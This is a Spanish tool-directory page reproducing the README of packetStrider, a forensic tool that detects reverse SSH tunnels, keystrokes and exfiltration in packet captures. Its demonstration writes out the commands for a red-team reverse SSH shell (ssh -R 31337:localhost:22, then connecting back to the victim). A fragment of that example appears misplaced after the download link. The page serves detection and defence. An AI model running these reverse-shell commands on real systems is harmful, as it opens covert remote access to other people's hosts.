Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
packetStrider — Una herramienta de análisis forense de paquetes de red para SSH | Kitploit
Herramientas/GitHubGitHub/benjeems/packetstrider
Sniffing y Análisis de PaquetesForensia de RedAnálisis ForensePruebas de PenetraciónAprendizaje AutomáticoDetección de IntrusionesRed TeamingDetección de Anomalías
GitHubbenjeems/packetstrider

packetStrider

Una herramienta de análisis forense de paquetes de red para SSH

Ver Repositorio
25439hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Packet Strider (v0.21)

alt text

Resumen

packetStrider para SSH es una herramienta de análisis forense de paquetes que busca proporcionar información valiosa sobre la naturaleza del tráfico SSH, iluminando los rincones del tráfico de red SSH donde antes yacían pepitas de oro de información en la oscuridad.

El problema que packet strider pretende ayudar a resolver (también conocido como ¿Por qué?)

SSH está obviamente cifrado, sin embargo, aún existe información contextual valiosa dentro del tráfico de red que puede contribuir a TTP, intención, éxito y magnitud de las acciones sobre los objetivos. Puede incluso haber situaciones donde el contexto valioso no está disponible o ha sido eliminado de los hosts, por lo que tener una captura de red pasiva inmutable e inalterable proporciona contexto forense adicional. "Los paquetes no mienten".

Independientemente del contexto forense, las predicciones de packet strider también podrían usarse de forma activa, por ejemplo, para rechazar/RST conexiones de reenvío si se predice una característica de inicio de sesión SSH inversa tunelada, incluso antes de que se ofrezca la autenticación inversa.

Las técnicas amplias de packet strider (también conocido como ¿Cómo?)

  • Construye un conjunto rico de características en forma de dataframes de pandas. Se diseñan más de 40 características a partir de metadatos de paquetes, como contenido de mensajes del protocolo SSH, estadísticas normalizadas, dirección, tamaño, latencia y características de ventanas deslizantes.
  • Recorre este conjunto de características numerosas veces usando ventanas deslizantes (inspiradas en Redes Neuronales Convolucionales) para predecir:
    • El uso de la opción -R en la sesión de reenvío: esto es lo que permite que se realice una conexión inversa más adelante en la sesión. Este artefacto se descubre muy temprano en la sesión, justo después de que la sesión de reenvío se autentica. Esta es la primera señal de advertencia disponible de que las sesiones inversas son posibles.
    • Inicio de la sesión SSH inversa, esto puede ocurrir en cualquier momento (temprano o tarde) en la sesión de reenvío. Esto se descubre antes de que la sesión inversa se autentique con éxito. Esta es la segunda señal de advertencia, en el sentido de que se ha solicitado y configurado una sesión inversa para autenticación.
    • Éxito y/o fracaso de la autenticación de la sesión inversa. Esta es la tercera y última señal de advertencia, después de este punto sabes que alguien está en tu host, dentro de una sesión inversa.
    • El uso de la opción -A (Reenvío de agente SSH), que permite al cliente compartir sus claves privadas SSH locales con el servidor. Esta funcionalidad generalmente se considera peligrosa. Referencias: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident https://skylightcyber.com/2019/09/26/all-your-cloud-are-belong-to-us-cve-2019-12491/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12491
    • Todas las predicciones e informes de metadatos por flujo.
    • Humano o con script, basado en diferencias de tiempo.
    • ¿El servidor ya es conocido por el cliente? o ¿era la primera vez que se hacía una conexión entre ambos? Esto se realiza a través de diferencias de paquetes asociadas con known_hosts.
    • Si se usó un certificado de cliente o autenticación por contraseña, y si la longitud de la contraseña es de 8 caracteres o menos.
    • Pulsaciones de teclas, tecla de borrar, teclas Enter (cortar y pegar, y arriba/abajo es YMMV/experimental).
    • Predicciones de movimiento de datos de exfiltración/infiltración tanto en sesiones de reenvío como inversas.
    • Funciona tanto en sesiones interactivas como en aplicaciones de transferencia de archivos SSH basadas en archivos (por ejemplo, scp, putty, cyberduck, etc.).

Primeros pasos

Se ha usado Python3, y necesitará los siguientes módulos (YMMV en python2)

pip3 install pandas matplotlib pyshark

Uso:

python3 packetStrider-ssh.py -h

Salida:

root@kitploit:~
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
                             [-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
                             [-w WINDOW] [-s STRIDE]

packetStrider-ssh es una herramienta forense de paquetes para SSH. Crea un
conjunto rico de características a partir de metadatos de paquetes como
contenido de mensajes del protocolo SSH, dirección, tamaño, latencia y
secuenciación. Realiza coincidencia de patrones en estas características,
usando análisis estadístico y ventanas deslizantes para predecir inicio de
sesión, pulsaciones de teclas, comportamiento humano/script, longitud de
contraseña, uso de certificados de cliente, contexto sobre la naturaleza
histórica del contacto cliente/servidor y características de movimiento de
datos de exfiltración/infiltración tanto en sesiones de reenvío como inversas

argumentos opcionales:
  -h, --help            muestra este mensaje de ayuda y sale
  -f FILE, --file FILE  archivo pcap a analizar
  -n NSTREAM, --nstream NSTREAM
                        Realiza análisis solo en el flujo n
  -m, --metaonly        Muestra solo metadatos del flujo
  -k, --keystrokes      Realiza predicción de pulsaciones de teclas
  -p, --predict_plot    Grafica movimiento de datos y pulsaciones de teclas
  -z ZOOM, --zoom ZOOM  Reduce/enfoca el análisis y el gráfico solo a los
                        paquetes "x-y"
  -d DIRECTION, --direction DIRECTION
                        Realiza análisis en la dirección SSH: "forward",
                        "reverse" O "both"
  -o OUTPUT_DIR, --output_dir OUTPUT_DIR
                        Directorio para generar los gráficos
  -w WINDOW, --window WINDOW
                        Tamaño de la ventana deslizante, número de paquetes a
                        cada lado del paquete central, por defecto es 2
  -s STRIDE, --stride STRIDE
                        Paso entre ventanas deslizantes, por defecto es 1

Ejemplo

El pcap "forward_reverse.pcap" proviene de un TTP común de un shell SSH inverso, un favorito de los equipos rojos en todas partes. Específicamente se usaron los siguientes comandos, para resaltar las capacidades de packet strider de manera simple:

  • Conexión directa desde la víctima

    • El comando para la sesión directa fue ssh [email protected] -R 31337:localhost:22 que enlaza el puerto local 31337 listo para la conexión SSH inversa de vuelta al PC víctima. Esta conexión se puede realizar de muchas maneras, incluyendo manualmente, mediante un RCE, SSRF o alguna forma de persistencia. Para el propósito de esta demostración, es una sesión directa manual estándar.
    • Esta NO fue la primera vez que el cliente ha visto el servidor, vemos esto porque la diferencia de tiempo para los paquetes relacionados fue muy pequeña, la huella digital de la clave del servidor ya estaba en known_hosts del cliente, por lo que no se le pidió al usuario que la agregara, lo que aumentaría la latencia de los paquetes.
    • Dos fallos consecutivos de inicio de sesión por contraseña por parte de un humano, seguidos de un inicio de sesión exitoso con una contraseña de 8 o más caracteres.
    • ls se escribe en la sesión directa, en esta secuencia: 'l' 'w' 'w' 'back-space' 'back-space' 's' y luego enter. El tamaño total de datos transmitidos a través de la red (como la salida de ls) se clasifica como infiltración, dado que es entrante.
  • Ahora en la máquina del atacante (el servidor), se inicia un shell inverso de vuelta a la víctima:

    • ssh victim@localhost -p 31337. En este punto, que es incluso antes de que comience el proceso de autenticación, packet strider ha identificado el inicio de la sesión SSH inversa, en el paquete 72
    • Ahora el atacante tiene un shell inverso en el host víctima. Desde aquí pueden desactivar la configuración del historial y ejecutar cualquier movimiento lateral o fechorías de saqueo que deseen. Los ejemplos simples en esta demostración son el reconocimiento inicial de usuario.
    • last se ejecuta en forma de pulsaciones de teclas 'l' 'a' 's' 'r' 'delete' 't' 'enter'
    • who se ejecuta en forma de 'enter'

El tráfico de red de esta actividad se guarda en tcpdump.pcap y ahora es el momento de ejecutar Packet Strider.

python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

alt text

Este gráfico muestra una línea de tiempo de predicciones clave (la imagen ha sido anotada aquí) alt text

Este gráfico muestra algunas estadísticas de ventana, útil para un análisis profundo y experimentación con características. alt text

Este gráfico muestra un histograma simple alt text

Inspiración

Este proyecto se realizó como una Prueba de Concepto personal, como una forma de practicar con algunas bibliotecas de ciencia de datos en Python; fue fuertemente inspirado por mis estudios de Coursera en Aprendizaje Automático y Ciencia de Datos, en particular la biblioteca pandas y la forma en que las Redes Neuronales Convolucionales (CNN) "recorren" conjuntos de píxeles de imágenes usando ventanas deslizantes para detectar ciertas características dentro de ellas.

Consejos

Packet Strider realiza una gran cantidad de "recorridos" en modo de capacidad completa. Esto puede resultar en un uso sustancial de recursos si el pcap es grande, o más precisamente si hay muchos paquetes en el pcap. Aquí hay algunos consejos para acelerar, que son particularmente útiles para una ejecución inicial, por ejemplo, solo para ver si se predijo actividad SSH inversa, y luego agregar funcionalidad si se desea.

  • Asegúrese de estar ejecutando con los parches más recientes de los módulos que realizan trabajo pesado, por ejemplo pyshark/tshark, pandas y matplotlib.
  • La opción -p --predict_plot es la operación más intensiva. Considere ejecutar solo con la salida al terminal, y luego vea si desea generar el gráfico.
  • Use la opción -m --metaonly. Esto solo recupera los metadatos de alto nivel, como nombres de protocolo y datos HASSH. Esto puede ser útil para determinar rápidamente si se trata de una sesión interactiva con OpenSSH o con un cliente de transferencia de archivos como Cyberduck.
  • Prefiltre el pcap al tráfico SSH.
  • Prefiltre el pcap al flujo que desee, que puede haber aprendido ejecutando previamente con la rápida opción -m --metaonly. Puede examinar solo el flujo "NSTREAM" con la opción "-n NSTREAM", o puede prefiltar con wireshark, etc.
  • Puede haber momentos en que identifique algo interesante en un subconjunto de un conjunto muy grande de paquetes. Aquí puede usar la función de zoom para examinar y graficar solo los paquetes en la región que le interesa. Use -z ZOOM, --zoom ZOOM para esto. Por ejemplo, -z 100-500
  • La mayoría de las veces estará interesado en comprender la actividad de pulsaciones de teclas, por lo que, aunque no usar la opción -k ahorrará velocidad de procesamiento, también significa que no obtendrá esta valiosa información.

POR HACER

  • ¡Más protocolos!
  • Considerar el uso de subprocesos múltiples y ver dónde puede ayudar a la velocidad de procesamiento.
  • Mejorar la eficiencia del script, especialmente los tiempos de graficación.
  • Mejorar el indicador de pegado.
  • Mejorar el indicador de tecla 'arriba/abajo'.
  • Anotar los gráficos con imagemagick o similar.
  • Mejorar la función de informe, escribir a disco.
  • El indicador de tecla Reversa es conservador debido a la encapsulación de paquetes que potencialmente puede reportar dos pulsaciones de teclas. Este problema no existe para las pulsaciones de teclas de reenvío, ya que el orden de los paquetes se ha tratado en caso de que lleguen desordenados. Examinar opciones aquí.
  • Portar a golang por velocidad.
  • Modo en tiempo real.
  • Examinar el efecto de túneles adicionales de puertos locales sobre la conexión de reenvío.

Aviso legal

Úselo bajo su propio riesgo. Consulte los términos de la Licencia.

Descargar herramienta
'w' 'h' 'o'
  • exit se ejecuta en forma de 'e' 'x' 'i' 't'
  • Finalmente, con la sesión directa, la sesión se cierra, solo para demostrar que la detección de características SSH de reenvío aún funciona.

    • exit